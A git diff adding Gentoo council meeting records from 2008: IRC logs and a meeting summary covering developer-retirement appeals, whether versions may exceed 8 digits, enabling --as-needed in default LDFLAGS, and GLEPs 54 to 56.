+22:23 < dberkholz@> i put the details we discussed of the further research into http://dev.gentoo.org/~dberkholz/20080508-summary.txt
+22:23 <   lu_zero@> ok
+22:27 -!- Irssi: #gentoo-council: Total of 86 nicks [7 ops, 0 halfops, 2 voices, 77 normal]
+22:27 < dberkholz@> since it's already getting late for a couple of you, and a couple others aren't here today, here's what i'd suggest
+22:28 < dberkholz@> we can cover the background information on the enforced retirement today and plan a special session in the next week or so to make the decisions mentioned in the agenda
+22:29 -!- mode/#gentoo-council [+v musikc] by dberkholz
+22:29  *   musikc waves
+22:29 <   lu_zero@> hi musikc
+22:29 -!- mode/#gentoo-council [+v fmccor] by dberkholz
+22:29 <    fmccor+> Good evening.
+22:30 < dberkholz@> i'd like to ask the directly involved people (council + musikc + fmccor, mainly) to tell us how that works for them
+22:30 <    fmccor+> dberkholz, It's fine with me to delay the entire discussion.  It's not time critical.
+22:30 <    musikc+> wfm
+22:30 <   lu_zero@> I can resist for another hour
+22:30 <   lu_zero@> both ways are fine
+22:31 < dberkholz@> i'm aware that we really need to get some action one way or the other for everyone's sake, so i don't think we should wait until the next regularly scheduled meeting
+22:31 <    musikc+> agreed
+22:31 <    fmccor+> dberkholz, sure.
+22:31 <    musikc+> i think it will do more to ease the minds of others if we talk about it sooner than later
+22:32 < FlameBook+> I'm fine with the reschedule, as I'm probably going away soon, too
+22:32 < FlameBook+> [reschedule to special I mean]
+22:32 <    fmccor+> Right
+22:32 <    musikc+> and for anyone reading in doubt, please do not assume that council made me take a particular course of action. i apologize if that is how it was interpretted but again that is just not how it happened.
+22:32 < dberkholz@> how about next week, same bat time, same bat channel as a tentative date -- how's that work for people?
+22:33 <    musikc+> sure, i just cant be available for 2+ hours because it is the middle of my work day
+22:33 <    fmccor+> Works for me.  Please send a email or something so as not to make a liar of me. :)
+22:33 < dberkholz@> that appears to be almost immediately following the trustees meeting
+22:33 < dberkholz@> if my calendar is right
+22:34 <    fmccor+> trustees are meeting in special session this Sunday and regular meeting a week from Sunday.
+22:34 < dberkholz@> hm, apparently the google calendar is wrong
+22:34 < dberkholz@> it says thursday may 15
+22:34 < dberkholz@> following the may 10 session
+22:34 <    fmccor+> That's wrong.
+22:35 < dberkholz@> rane: could you fix the calendar, please? looks like you posted the trustees meeting on may 15 three days early
+22:35 <    fmccor+> Should say the 11th and the 17th
+22:36 < dberkholz@> i was in my localtime...might be different in utc.
+22:36 < dberkholz@> ok. do we agree that we'll cover the entire topic in our upcoming special session?
+22:36 <    fmccor+> (Er, no.  11th and 11+7 = 18th (11+7 us not 17, I guess)
+22:37 <    fmccor+> Should say 11th and 18th, both at 1900UTC
+22:38 < dberkholz@> i think it makes more sense than breaking the related subtopics apart
+22:38 <    fmccor+> dberkholz, Sorry for the confusion.  Havving problems with addition, I guess.
+22:38 <    fmccor+> That works fine for me.
+22:38 <   lu_zero@> ^^;
+22:38 -!- Irssi: #gentoo-council: Total of 85 nicks [7 ops, 0 halfops, 4 voices, 74 normal]
+22:39 <    musikc+> ok, so we all agree to meet same time next week to cover the remaining topic of retirements/how handled/appeals/etc?
+22:39 < dberkholz@> amne, Betelgeuse, FlameBook, solar -- rescheduling to a special session work?
+22:40 < dberkholz@> ah, FlameBook already said yes
+22:40 <Betelgeuse@> o
+22:40 <Betelgeuse@> k
+22:41 < dberkholz@> looks like amne went to bed
+22:41 < dberkholz@> enough of us agree on that, so let's do it
+22:41 < dberkholz@> that brings us to the open floor
+22:42 < dberkholz@> does anyone else have any topics unrelated to either today's topics or the special session?
+22:42 -!- mode/#gentoo-council [-m] by dberkholz
+22:42 < Blackb|rd > Thanks, guys (and gal).
+22:42 <    fmccor+> Thanks, that works better for me at this point (over 2.5 hours and counting). :)
+22:42  * Blackb|r heads for bed now :)
+22:43 <   lu_zero@> I'd wait for 10min and then go to bed as well
+22:43 <   astinus > this just proves ideas to cut down meeting time *FAIL*
+22:43 <      rane > i fixed the calnder
+22:43 <      rane > calendar
+22:44 <      zlin > yeah, keeping people waiting for 2½ hours just to tell them it gets delayed a week is fucking awesome
+22:44 < dberkholz@> yeah, wonder whether we should try all-moderated except the final open floor, and just let people query the chair or other council members
+22:44 < dberkholz@> i had no idea the earlier topics would take so long, that was insane
+22:45 <    fmccor+> rane, You caught my addition error that 11+7 is 18, not 17?
+22:45 <    musikc+> dberkholz, that sounds like a good idea to me
+22:45 <   astinus > zlin: Wow, someone forgot to take their calm pills this evening :S
+22:45 <  ColdWind > zlin: I agree, but that's mostly due to all the version length nonsense
+22:45 <    musikc+> it is prime business hours in the states and close to bed time for a lot of other folks
+22:46 <    fmccor+> dberkholz, I don't think the time went to the open floor parts.
+22:46  * RobbieAB agrees with fmccor
+22:46 <      zlin > fucking waste of time
+22:46 <      Sput > basically discussing implementation details for two hours...
+22:47 <   astinus > zlin: Actually quite a lot got discussed/agreed.
+22:47 <      zlin > ColdWind: and even that was too hard to make a decision on
+22:47  *  astinus forcefeeds zlin some positivity potion.
+22:47 < dberkholz@> there was a decision, it was "not enough data"
+22:48 < dberkholz@> seemant had a nice philosophy of "show me the code", so i tend to agree that seeing the impact in code and real numbers would help
+22:49 <      zlin > dberkholz: even if I agree with that it shouldn't take an hour to figure that out
+22:49 -!- fmccor is now known as fmccor|home
+22:49 <      zlin > s/agree/agreed/
+22:49 < dberkholz@> zlin: you're right, i wish it went faster. do you have any advice on how to do that?
+22:49 <      zlin > who's going to collect those data btw?
+22:50 <  RobbieAB > dberkholz: not ask anyone else for input? It would be much faster that way... </sarcasm>
+22:50 <      rane > fmccor|home, yes, i did
+22:50 <fmccor|hom+> rane :)
+22:51 < dberkholz@> i've gotta migrate to a new location, should be back in ~5 min
+22:51 <      zlin > dberkholz: I wouldn't actually give a fuck if I hadn't been sitting and waiting for the outcome of those appeals..
+22:51 <  ColdWind > it will make things faster if discussion about negative, complex, and non-arabic versions are banned ;)
+22:51 <      rane > zlin, i was doing other stuff while they were busy figuring out if bash support 18+ or not
+22:51 <   astinus > zlin: the appeals were never happening today?
+22:52 <      rane > zlin, you should try it next time :-)
+22:52 <      zlin > astinus: huh?
+22:52 <   astinus > zlin: the appeals themselves were not tabled for today
+22:52  *   Fieldy passes around some calm pills
+22:52  *     rane takes all of them
+22:53 <  RobbieAB > ColdWind: negative versioning has occurred, so in the context of lu_zero advocating uint_64t it was relevant.
+22:53  * ColdWind goes and release something with complex numbers
+22:53 <  ColdWind > :p
+22:54 <   astinus > zlin: what was tabled today was fmccor+musikc presenting Council with the facts, and a discussion about how to proceed with the appeals, if at all?
+22:54 <   astinus > ie: if they should be held at all. When. Should it involve the whole Council, or a panel of 2-3 to keep things simpler, etc
+22:54 <   astinus > unless I'm drastically misreading the agenda :)
+22:55 <  RobbieAB > ColdWind: lol.
+22:55  *    pilla releases something with a quantic version number
+22:56 <      rane > release something with no version number
+22:56 <jmbsvicett > astinus: That's not how I read the topic
+22:56 <  ColdWind > rane: that's occurs too often already
+22:56 <    musikc+> astinus, i wasnt aware that i was presenting anything
+22:56 <   astinus > jmbsvicetto: Fair enough, maybe Donnie could clarify.
+22:56 <jmbsvicett > astinus: And the appeals were made on time for this meeting
+22:57 <   astinus > jmbsvicetto: yet the folks supposedly appealing weren't asked to be present?
+22:57 <jmbsvicett > astinus: I'm not a council member ;)
+22:57 <    musikc+> here's what is in the summary:
+22:57 <    musikc+> What was the council's role in the recent enforced retirement of 3 developers?
+22:57 <      rane > we should discuss policies before we start using them
+22:57 <    musikc+> Why does the council permit such actions in apparent violation of Gentoo's policy of openness?
+22:58 <    musikc+> What is the council's role in an appeal?
+22:58 <   astinus > musikc: Part of my point still stands. Other than discussing the role of Council in an appeal process, there is no actual appeal on the agenda, ie: Philantrop's
+22:58 <jmbsvicett > musikc: Yes, I noticed. But at least 2 of the members appealed on time for this meeting. I find it reasonable to expect some discussion about the appeals
+22:59 <    musikc+> astinus, ahhh... so you wish to know when council will respond to the appeals?
+22:59 <   astinus > musikc: no.
+22:59 <   astinus > 23:49 < zlin> dberkholz: I wouldn't actually give a fuck if I hadn't been sitting and waiting for  the outcome of those appeals..
+22:59 <   astinus > musikc: I was responding to that ^^^^
+22:59 <  RobbieAB > jmbsvicetto: council can't table the appeals until it has decided if it is going to hear them...
+22:59 <    musikc+> ahhh
+22:59 <jmbsvicett > astinus: He sent a mail to council asking for that
+22:59 <     p0w4h > hi im learning cisco
+22:59 <Betelgeuse@> We should discuss starting the meeting an hour earlier.
+23:00 <Betelgeuse@> I am heading for bed.
+23:01 <    musikc+> nn Betelgeuse
+23:04 -!- Irssi: #gentoo-council: Total of 80 nicks [7 ops, 0 halfops, 3 voices, 70 normal]
+23:05 < dberkholz@> since nobody's said anything for 5 minutes, and most of the discussion has been venting, anyone mind if we end the meeting?
+23:05 <   astinus > thought we had =)
+23:06 < dberkholz@> effectively yes, since everybody's going to sleep
+23:06 <jmbsvicett > RobbieAB / astinus: I understand your argument, but I expect the council to make a decision about accepting or not the appeal in a "reasonable" timeframe
+23:06 <   astinus > dberkholz: Would you mind clearing up exactly what's meant by the final items on the agenda, and what will be discussed in the special meeting, please?
+23:06 <jmbsvicett > My "unreasonable" response time was caused by network connectivity issue
+23:06 <jmbsvicett > +s
+23:07 < dberkholz@> astinus: the intent was not to make a decision on the appeal, but to explain the council's role so far and to decide exactly how to proceed with it. we haven't done any appeals before, so we need to figure out the best way how.
+23:08 <   astinus > dberkholz: But the implication is you're accepting the appeal and are somehow going to hear it, where 'somehow' is TBD?
+23:08 <jmbsvicett > dberkholz: By the way, the last point about the council role, only applies if the Council starts the action - that has been my argument and I think Ferris
+23:08 <   astinus > or is the decision to accept/reject the appeal also TBD?
+23:09 < dberkholz@> astinus: it's kind of a big mess because of some ideas brought up by ferris and co. my opinion is that we can take the appeal, we will take it, we will figure out the best way to handle it, and then we will handle it.
+23:09 <jmbsvicett > dberkholz: As long as devrel takes the action, I don't see any "conflict"
+23:10 <   astinus > jmbsvicetto: and that's already been cleared up by musikc - she said above that Council wasn't the guys taking that decision
+23:10 <    musikc+> jmbsvicetto, *I* took the action
+23:11 <jmbsvicett > musikc: sorry, I didn't meant to imply otherwise
+23:11 <    musikc+> all council did was say hey, there is talk that devrel doesnt respond to complaints, please do acknowledge these
+23:11 <jmbsvicett > musikc / astinus: I was going to finish my thought by saying that I've been told and have no reason to doubt that it was musikc's action
+23:12 <   astinus > most of the "devrel hasn't done squat in these types of complaints" ruckus was caused by me, as *previously* DevRel has had great difficulty getting off its rumpus and actually doing anything
+23:12 <jmbsvicett > musikc: I'm sorry for not completing the thought. I was caught no /msg
+23:12 <   astinus > which I already apologized to musikc for ;)
+23:12 <    musikc+> astinus, it's ok, you had a valid point
+23:13 <    musikc+> people have expressed similar, that they too felt devrel wouldnt take action. bear in mind i did not do something extreme just to show that we would, i stand by my decisions.
+23:14 <    musikc+> the only thing council really did was advise me what devrel had authority to do and to what extent, hence the policy change in devrel, as i was advised it was always policy whether i wrote it or not it always existed.
+23:14 <    musikc+> i know some people were upset about a change in policy followed by action, and i have apologized to my team and to anyone who cared to discuss it with me for confusion and lack of communication.
+23:14 <    musikc+> <end soap box>
+23:15 <   astinus > I think the 'danger' of Gentoo getting bigger is a culture of red tape setting in
+23:15 <   astinus > everything has to be discussed and approved by committees of committees of committees, so everything takes 4 years
+23:16 <   astinus > personally I'm a fan of trusting the guys in a role -- if policy is slow, and we want change, do it. Folks like Council and Trustees are there to second guess via appeals
+23:16 <      Sput > that said, has that particular bug been opened to the public yet?
+23:16 <   astinus > and we in turn trust Council via the election/voting process.
+23:16 <   astinus > Sput: yes.
+23:16 <      Sput > kk
+23:16 <   astinus > Sput: there's nothing on it, despite how much people hyped "ZOMG SEKRIT BUG!"
+23:17 <      zlin > for about ten minutes. then it was closed to non-devs.
+23:17 <      Sput > astinus: not very surprised about that, but I think closing it at all was causing a lot of uproar
+23:17 <      Sput > I mean if there is nothing to hide, why pretend there is?
+23:18 <   astinus > Sput: part of the problem is it was locked to Infra
+23:18 <fmccor|hom+> Sput, Last I knew, it was developers-only.
+23:18 <   hparker > Keeps the cabal theories flying
+23:18 <   astinus > Sput: which means someone from Infra needs to unlock it =) and relatively few people have that foo
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20080612-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20080612-summary.txt
new file mode 100644
index 00000000..42f17c96
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20080612-summary.txt
@@ -0,0 +1,236 @@
+Quick summary
+=============
+
+Overall, the meeting went really well! Things that helped were 
+additional preparation notes in the agenda, a requirement to hold 
+discussions on-list instead of dragging out the meeting, and our 
+emphasized ability and willingness to hold votes on-list rather than 
+waiting another month. The meeting started at 20:00 and was over at 
+21:23, a vast improvement. We beat the 2-hour time limit we set.
+
+Because of the emphasis of on-list discussions, a number of the topics 
+in the agenda & summary weren't actually mentioned during the meeting. 
+Instead consider the agenda & summary as a list of ongoing matters for 
+the council.
+
+
+PMS: Versions can have >8 digits. If you want a maximum limit, discuss 
+it with relevant people and propose one.
+
+Appeals: Will be handled using dberkholz's proposal: 
+http://archives.gentoo.org/gentoo-council/msg_d7c402fb577a3d5b1707e2bdf4b0a264.xml
+
+LDFLAGS="--as-needed" by default: antarus will present a deployment plan 
+to -dev for how this would proceed.
+
+GLEP 54: There was a new proposal 12 hours before the meeting. Wait for 
+discussion. Council members should post anything they have to add by the 
+end of the weekend.
+
+GLEP 55: Discussion is clearly active. Council members should post 
+anything they have to add by the end of the weekend.
+
+GLEP 56: Technically good, still some room for improvement. Council 
+members should post anything they have to add by the end of the weekend.
+
+PMS status: This is a discussion that belongs on the mailing list. 
+Council members should post anything they have to add by the end of the 
+weekend.
+
+
+
+Roll call
+=========
+
+(here, proxy [by whom] or slacker?)
+
+amne        here
+betelgeuse  here
+dberkholz   here
+flameeyes   proxy [cardoe]
+lu_zero	    here
+vapier      slacker [emergency at work]
+jokey       here
+
+
+Meeting
+=======
+
+Moderation
+----------
+Modes +qnm, with voice for people involved in discussions?
+
+If it becomes necessary, we'll do it. Leave channel open till then.
+
+Time limit
+----------
+2 hours?
+
+Yes. We'll move any topics we didn't cover to the mailing lists.
+
+
+Updates to last month's topics
+==============================
+
+http://www.gentoo.org/proj/en/council/meeting-logs/20080508-summary.txt
+
+
+Document of being an active developer
+-------------------------------------
+Requested attendees: araujo
+
+Last month: Numerous suggested improvements to info on the certificate.
+
+Preparation: araujo needs to post progress, an updated certificate and 
+any new requests to the gentoo-council or gentoo-project list 2+ hours 
+before the meeting.
+
+Goal: Suggest changes. This should happen on-list. No discussion 
+expected.
+
+
+Slacker arches
+--------------
+Preparation: vapier needs to send the post 2+ hours before the meeting.
+
+Goal: Suggest changes. This should happen on-list. No discussion 
+expected.
+
+
+Can the council help fewer bugs get ignored by arm/sh/s390 teams? 
+----------------------------------------------------------------- 
+Preparation: Someone on an undermanned arch team needs to describe their 
+workflow on-list 2+ hours before the meeting.
+
+Goal: Suggest changes. This should happen on-list. No discussion 
+expected.
+
+
+PMS: Are versions allowed to have more than 8 digits?
+-----------------------------------------------------
+http://archives.gentoo.org/gentoo-dev/msg_db2f5c09c2c0c8b042ca3d0dcec7cdaf.xml
+https://bugs.gentoo.org/show_bug.cgi?id=188449
+
+Preparation: Do the package maintainers with extremely long PVs need 
+them? The involved packages:
+	sys-process/fuser-bsd
+	sys-apps/net-tools
+	sys-apps/gradm
+	net-im/ntame
+	media-video/captury
+	media-libs/libcaptury
+	media-libs/capseo
+	sys-block/btrace
+	www-apache/mod_depends
+	net-wireless/rt2500
+	sys-fs/unionfs
+
+Preparation: What's the impact of extending versionator.eclass? 
+
+Goal: With data in hand, make a decision.
+
+Decision: We didn't have all of the testing requested. We still voted to 
+allow versions >8 digits. Adding a maximum restriction is a separate 
+question and was not addressed -- if anyone wants this restriction, 
+please discuss with fellow implementors and present your consensus to 
+the council.
+
+
+How to handle appeals
+---------------------
+Preparation: Post to the gentoo-council mailing list 2+ hours before the 
+meeting with your opinion.
+
+	dberkholz: http://archives.gentoo.org/gentoo-council/msg_d7c402fb577a3d5b1707e2bdf4b0a264.xml
+
+Goal: Vote on an approach that was previously posted to the list.
+
+Decision: We approved dberkholz's proposal.
+
+
+New topics
+==========
+
+as-needed by default
+--------------------
+antarus requested that we vote on whether to add it to the default 
+LDFLAGS.
+
+Preparation: Post your opinion to the -dev thread "RFC: --as-needed to 
+default LDFLAGS" 2+ hours before the meeting.
+
+	dberkholz: http://archives.gentoo.org/gentoo-dev/msg_fdfd519c5372394cc7f3aacaefa387b9.xml
+
+Goal: Vote.
+
+Result: Whether this should be in default LDFLAGS or suggested in 
+make.conf.example wasn't clear. Betelgeuse suggested that we should know 
+the whole tree will build with this LDFLAGS setting (with open bugs for 
+packages that append -Wl,--no-as-needed) before we would consider 
+enabling it by default.
+
+Antarus will post a deployment plan to -dev for discussion. We can vote 
+on it on -council as soon as it solidifies.
+
+
+GLEP 54
+-------
+Preparation: Post your opinion to the -dev thread "A few questions to 
+our nominees" 2+ hours before the meeting.
+
+	dberkholz: http://archives.gentoo.org/gentoo-dev/msg_c6e4ba8293f50c1e0444e67d59cf85ea.xml
+	lu_zero: http://archives.gentoo.org/gentoo-dev/msg_05614741b3942bfdfb21fd8ebb7955e0.xml
+
+Goal: Vote.
+
+Result: lu_zero posted a second plan 12 hours ago. Since it hasn't been 
+around long enough to get much feedback, we decided to let them develop 
+and see if the ideas somehow merge.
+
+
+GLEP 55
+-------
+Preparation: Post your opinion to the -dev thread "GLEP 55" 2+ hours 
+before the meeting. Let it attempt to come to a consensus before we 
+vote.
+
+	dberkholz: http://archives.gentoo.org/gentoo-dev/msg_c6e4ba8293f50c1e0444e67d59cf85ea.xml
+
+Goal: Vote once the discussion's no longer clearly ongoing. We can hold 
+this vote on the -council mailing list instead of waiting for the next 
+meeting.
+
+
+GLEP 56
+-------
+Preparation: Post your opinion to the -dev thread "[GLEP56] USE flag 
+descriptions in metadata" 2+ hours before the meeting. Let it attempt to 
+come to a consensus before we vote.
+
+	dberkholz: http://archives.gentoo.org/gentoo-dev/msg_54ee20d2b1d8122370afdd4b3d7aafc9.xml
+
+Goal: Vote once the discussion's no longer clearly ongoing. We can hold 
+this vote on the -council mailing list instead of waiting for the next 
+meeting.
+
+There is still room for improvement in this GLEP, not so much in its 
+technical aspects but in the way it promotes itself, the possible 
+generation of legacy files, and the tools to use it.
+
+
+Status of PMS
+-------------
+ferringb said:
+  I'd like the council to please discuss the current status of PMS, if 
+  the running of it satisfys the councils requirements of a *neutral* 
+  standard, if the proposed spec actually meets said standards, and if 
+  said spec is actually going to be approved sometimes this side of '09.
+
+Preparation: Post your opinion to the -dev thread "One-Day Gentoo 
+Council Reminder for June" 2+ hours before the meeting.
+
+	dberkholz: http://archives.gentoo.org/gentoo-dev/msg_9e9652212b3aefe09d93fc24c6ec4cb7.xml
+	vapier: http://archives.gentoo.org/gentoo-dev/msg_37b3ca89a1d253516437facd22a3d806.xml
+
+Result: This is a discussion that belongs on the mailing list. Council 
+members should post anything they have to add by the end of the weekend.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20080612.txt b/xml/htdocs/proj/en/council/meeting-logs/20080612.txt
new file mode 100644
index 00000000..5175aaf8
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20080612.txt
@@ -0,0 +1,339 @@
+20:00 < dberkholz@> ok, it's 2000
+20:00 <NeddySeago > antarus but not real time iteration
+20:00 < dberkholz@> council members, speak up if you're here
+20:00 <Betelgeuse@> \o/
+20:01 < dberkholz@> i've seen amne, Betelgeuse, dberkholz, cardoe [flameeyes], lu_zero. waiting on vapier and jokey 
+20:01 < dberkholz@> SpanKY: around?
+20:02 <     jokey@> evening
+20:02 <   edit_21 > \o
+20:02 <   lu_zero@> o/
+20:02 <     jokey@> spanky just sent notice to be a slacker
+20:02 <Betelgeuse@> dberkholz: just got a mail from vapier saying he is slacking because of company emergency
+20:03 <   lu_zero@> =/
+20:03 <   astinus > if he worked at Google, he could have dispatched the tea boy^W^W^Wantarus to fix that ;)
+20:03  *  astinus hides
+20:03 < dberkholz@> ok.
+20:04 <   astinus > "Houston, we are *go* for liftoff!"
+20:04 < dberkholz@> first off, do we want to try the channel modes i suggested?
+20:04 <    Cardoe > I liked that idea.
+20:04 < dberkholz@> see /topic if you want to read them
+20:04 <NeddySeago > only if chatter gets out of hand
+20:05 <     jokey@> time to start, isn't it?
+20:05 <    Cardoe > the official log can be taken by someone with +o, so that people comments will be included due to the +z
+20:05 <      amne@> dberkholz: yes on channel mode
+20:05 -!- mode/#gentoo-council [+o lu_zero] by ChanServ
+20:06 <NeddySeago > comments that are not public should not be in the log
+20:06 <     nadio > I doubt there will be no need for it, kind of loses its point if the users have common sense.
+20:06 < dberkholz@> one reason we moderated in the past is because that isn't the case. people kept interjecting random offtopic comments and questions
+20:07 <Ford_Prefe > Might be worth giving a shot to see how it works
+20:07 <    TFKyle > guessing ops would have to restate anything that they answer from an unvoiced user? or will the +z mostly be to see voice requests?
+20:07 <   edit_21 > dberkholz, well people like that need gagging
+20:07 <   lu_zero@> grr
+20:07 <   lu_zero@> network issues
+20:07 < dberkholz@> i don't want to spend much time dealing with this, so let's do as NeddySeagoon suggests and hold it in reserve and try to get through our topics
+20:08 <      amne@> ok
+20:08 < dberkholz@> next small thing is a 2-hour time limit. we cut off at 2200 and move to the lists with anything we didn't get to. that ok with people?
+20:08 <     jokey@> yup, works for me
+20:08 <      amne@> ++
+20:09 <     jokey@> Betelgeuse?
+20:10 <    Cardoe > dberkholz: works for Diego
+20:10 -!- mode/#gentoo-council [+o lu_zero] by ChanServ
+20:10 <Betelgeuse@> yeah fine
+20:10 < dberkholz@> alright, we're ending at 2200.
+20:10 <Betelgeuse@> I have the worst time zone any way
+20:10 < dberkholz@> first topic that we might have enough info for is >8-digit versions.
+20:11 -!- mode/#gentoo-council [+o lu_zero_] by ChanServ
+20:11 <  lu_zero_@> sigh
+20:12 < dberkholz@> lu_zero_: use screen or something, you're going to be missing info
+20:12 <  lu_zero_@> dberkholz hopefully from there I should be fine
+20:12 < dberkholz@> a nonzero number of packages do have upstream versioning with yyyymmddhhmm or similar.
+20:12 < dberkholz@> as far as i'm aware, nobody with interest in the topic did the testing in versionator.eclass
+20:12 <     jokey@> yep we see a number of packages also on the agenda
+20:13 <     jokey@> I saw that topic floating around in #-portage.. assumed one of us took it up with people there
+20:14 < dberkholz@> we didn't get responses from all of those maintainers. ulm replied that some emacs packages would be able to use it because their upstream versioning was >8
+20:14 -!- mode/#gentoo-council [+o lu_zero__] by ChanServ
+20:14 -!- lu_zero__ is now known as lu_zero
+20:14 <   antarus > I would prefer versionator eclass die
+20:15 <   antarus > and instead get some sort of hook that is PM dependent
+20:15 <   astinus > antarus: do you have a replacement?
+20:15 <     jokey@> antarus: that would be something for eapi-2 then
+20:15 <   antarus > jokey: yes
+20:15 < dberkholz@> are you prepared to vote one way or the other, or do you have a specific problem/question that needs to be answered first?
+20:16 <     jokey@> clear to vote here
+20:16 <     ferdy > antarus: *nod* that's better done on the PM side
+20:16 <    Cardoe > good to go here
+20:16 <   lu_zero@> let me reread
+20:16 <      zlin > that would delay eapi 2. I'm all for getting it in a future eapi though.
+20:17 <     jokey@> other option would be disallowing it until eapi2 is there but I highly dislike that option
+20:17 <   antarus > zlin: I stand corrected, s/2/futureEAPI/ ;)
+20:17 < dberkholz@> i'm still waiting for enough council members to answer my question to move on..
+20:18 <   lu_zero@> dberkholz ok
+20:18 <Betelgeuse@> ok
+20:18 < dberkholz@> these other issues with replacing the eclass are probably better discussed over in #-dev
+20:18 <     jokey@> right, not subject here now
+20:19 <      amne@> uhm i may have trouble reading, what exactly is the question we're voting on now?
+20:19 <    Cardoe > amne: to allow >8 versioning or not
+20:19 < dberkholz@> amne: whether we're ready to vote or still need more info. are you ready to vote?
+20:20 < dberkholz@> the vote will be to allow versions >8 digits.
+20:20 <      amne@> as proposed in the glep, not the other stuff (future eapis etc as just been said)?
+20:20 <      amne@> in any case, i'm ready to vote
+20:20 < dberkholz@> as proposed for pms
+20:21 < dberkholz@> ok, vote: should >8-digit versions be allowed? yes or no.
+20:21 < dberkholz@> yes
+20:21 <   lu_zero@> yes
+20:21 <     jokey@> yes
+20:21 <    Cardoe > yes
+20:21 <Betelgeuse@> heh that's enough
+20:21 <      amne@> yes
+20:21 <Betelgeuse@> +1
+20:22 < dberkholz@> good. the next topic is appeals.
+20:22 <     ferdy > [ remember, portage-utils and versionator.eclass need to be fixed with respect to that decision ]
+20:22 < dberkholz@> do you like my proposal for handling them, or do you want to propose another one on the list?
+20:22 < dberkholz@> as a reminder, it's on the -council list
+20:23 <     jokey@> dberkholz: sounds reasonable to me
+20:23 <   lu_zero@> I'm fine with it
+20:23 <    Cardoe > dberkholz: you proposal sounded the most reasonable
+20:24 <      amne@> as already posted on the list, ++
+20:24 <     jokey@> I doubt rush there would help now
+20:24 <     jokey@> hence all for it
+20:24 < dberkholz@> ok. the appeals will proceed as described in http://archives.gentoo.org/gentoo-council/msg_d7c402fb577a3d5b1707e2bdf4b0a264.xml
+20:24 <      zlin > did this mean max 18, 19 or unlimited number of digits?
+20:24 <Betelgeuse@> dberkholz: sounds good
+20:25 < dberkholz@> there is currently no limitation. if people want one, that should be a separate request
+20:25 < dberkholz@> the next topic is turning on --as-needed by default
+20:26 <jmbsvicett > dberkholz: I understand you not wanting to make a decision on this, but you have the authority to do it and I had hoped you would do it
+20:26 < dberkholz@> jmbsvicetto: let's talk in #-dev
+20:26 <jmbsvicett > dberkholz: ok
+20:27 <     jokey@> dberkholz: if I read it correctly, it would be suggesting that as a default in make.conf.example, right?
+20:27 < dberkholz@> antarus: describe. =)
+20:28 <    Cardoe > a short summary would be good here since the agenda only said read the thread.
+20:29 <    Cardoe > the thread also bounced between profiles and make.conf{,.example}
+20:29 <   antarus > I believe the intent was to use profiles
+20:30 <   antarus > to set LDFLAGS
+20:30 <     jokey@> as genone said it, we only suggest stuff in make.conf.examples as people override it either way
+20:30 < dberkholz@> my interpretation was setting it as a default just like our default CFLAGS
+20:30  *  antarus is open to either way
+20:31 <Betelgeuse@> Does tinderbox for example have as-needed?
+20:31 <Betelgeuse@> Would rather see the whole tree built with it before putting it on by default
+20:31 < dberkholz@> `grep CFLAGS /usr/portage/profiles/arch -r` to get a feel for what the default CFLAGS look like
+20:31 <    Cardoe > right. This is the question. Since if it's in profiles it'll be turned on for a lot more people then how we currently suggest CFLAGS to users
+20:32 <   antarus > Cardoe: As stated, I'll go either way
+20:32 <   antarus > I'm more concerned with the challenges regarding --as-needed itself
+20:32 <   antarus > not how it is deployed
+20:32 < dberkholz@> Betelgeuse: that sounds pretty reasonable.
+20:33 <  ColdWind > Betelgeuse: if you want to know the current status of the tree, it's that it doesn't work fully with as-needed right now
+20:33 < dberkholz@> not necessarily fixing every package, but having a bug for every package that needs to not build with it
+20:33 <Betelgeuse@> ColdWind: most likely
+20:33 < dberkholz@> i think flameeyes posted that you could append -Wl,--no-as-needed or so
+20:33 <   lu_zero@> there is an open bug about it iirc
+20:34 < dberkholz@> to do that means someone would need to build every stable and ~arch package in the tree
+20:34 <Betelgeuse@> ~arch doesn't matter
+20:34 <   antarus > http://bugs.gentoo.org/show_bug.cgi?id=129413
+20:34 <   antarus > is the tracker, for your reference
+20:34 <    Cardoe > I think getting the data Betelgeuse suggested would be something very useful. That being said, I know a good portion of the tree does build with --as-needed
+20:34 < dberkholz@> what i'm seeing here is that this is still being discussed and we're not really sure what should happen
+20:35 < dberkholz@> so i suggest we refer this to the lists for hashing out the details
+20:35 <Betelgeuse@> Cardoe: Yeah I run with it too.
+20:35 <    Cardoe > I build my corporate tinderbox with it.
+20:36 <   antarus > dberkholz: I believe the only argument is: 'is the savings for rebuilding packages worth the risk of some packages being broken' ?
+20:36 <   antarus > dberkholz: do you feel we are not doing enough to mitigate breakage?
+20:36 <     jokey@> *subtle broken at worst
+20:36 <   antarus > or what questions do you have that prevent you from voting?
+20:37 < dberkholz@> there's the question of what the prerequisites are for doing this
+20:37 <  ColdWind > note that enabling it would mean that maintainers and AT should always test --as-needed, otherwise this will do a lot of harm
+20:37 <   antarus > so you want some kind of deployment plan?
+20:37 < dberkholz@> pretty much, yes
+20:37 <   antarus > ColdWind: a valid point
+20:37 <   antarus > dberkholz: ok
+20:37 <     ferdy > jokey: subtly broken is worse than outright fucked up :)
+20:38 <     jokey@> ferdy: depends but yeah ;)
+20:38 <jmbsvicett > fwiw, I have 947 packages on this laptopt built with --as-needed
+20:38 < dberkholz@> ok, let's just get a feel for this
+20:38 <   antarus > jmbsvicetto: you are a poor sample set, sorry ;)
+20:38 <    Cardoe > antarus: can you quickly sum up a deployment plan?
+20:38 <   antarus > Cardoe: no
+20:38 <   antarus > Cardoe: I will come back next month with some concrete stuff
+20:38 <   antarus > move on
+20:38 < dberkholz@> let's not wait till next month
+20:38 < dberkholz@> let's make it happen on the lists
+20:38 <     jokey@> +1
+20:39 < dberkholz@> there's no reason we can't vote on this within the next week on-list
+20:39 <   antarus > dberkholz: i will put a plan together on-list then
+20:39 <     jokey@> signed mails on -council ML should be enough
+20:39 <    Cardoe > this needs very little work to make it happen. Much less then a month.
+20:39 <   antarus > better? :)
+20:39 <   lu_zero@> yup
+20:39 < dberkholz@> sounds good to me. just post it to -dev for discussion
+20:40 < dberkholz@> next topic is glep 54
+20:41 < dberkholz@> lu posted an alternate plan about 12 hours ago
+20:42 <Betelgeuse@> dberkholz: have a link handy?
+20:42 < dberkholz@> yep
+20:42 <Ford_Prefe > http://dev.gentoo.org/~lu_zero/glep/liveebuild.rst
+20:42 < dberkholz@> http://archives.gentoo.org/gentoo-dev/msg_05614741b3942bfdfb21fd8ebb7955e0.xml
